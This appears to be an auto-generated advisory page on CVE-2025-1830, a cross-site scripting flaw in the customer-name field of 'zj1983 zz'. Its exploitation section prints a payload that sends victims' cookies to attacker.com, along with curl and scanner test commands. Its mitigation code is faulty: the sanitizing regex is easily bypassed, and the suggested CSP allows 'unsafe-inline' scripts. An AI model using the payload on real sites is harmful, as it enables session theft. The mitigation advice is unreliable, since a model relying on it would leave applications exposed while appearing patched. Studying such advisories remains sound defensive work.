zj1983 zz, Cross-Site Scripting (XSS), CVE-2025-1830 (Medium)

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How CVE-2025-1830 Works

The vulnerability exists in the Customer Information Handler component of zj1983 zz (up to version 2024-8). Attackers can inject malicious JavaScript via the Customer Name parameter due to improper input sanitization. When the application renders this unsanitized input in the web interface, the script executes in the victim’s browser. The attack is remotely exploitable with low complexity but requires high privileges (PR:H) and user interaction (UI:P). The CVSS 4.0 score reflects its medium severity (4.8) due to limited impact on confidentiality, integrity, and availability.

DailyCVE Form

Platform: zj1983 zz
Version: ≤ 2024-8
Vulnerability: XSS
Severity: Medium
Date: 05/25/2025

Prediction: Patch by 2025-09-15

What Undercode Say:

Exploitation

1. Craft Payload:

<script>alert(document.cookie)</script>

2. Inject via Customer Name:

POST /update_customer HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
name=<script>fetch('https://attacker.com/steal?data='+btoa(document.cookie))</script>

Detection

1. Manual Testing:

curl -X POST -d "name=<script>alert(1)</script>" http://target/api/customer

2. Automated Scanning:

nuclei -t xss.yaml -u http://target

Mitigation

1. Input Sanitization:

function sanitize(input) {
return input.replace(/<script.?>.?<\/script>/gi, '');
}

2. CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

3. Patch Upgrade:

apt-get update && apt-get upgrade zj1983-zz

Post-Exploit Analysis

1. Log Review:

grep "name=" /var/log/zj1983/access.log | grep -i "<script>"

2. Network Monitoring:

tcpdump -i eth0 'port 80 and host vulnerable-app.com' -w xss_attempt.pcap

References

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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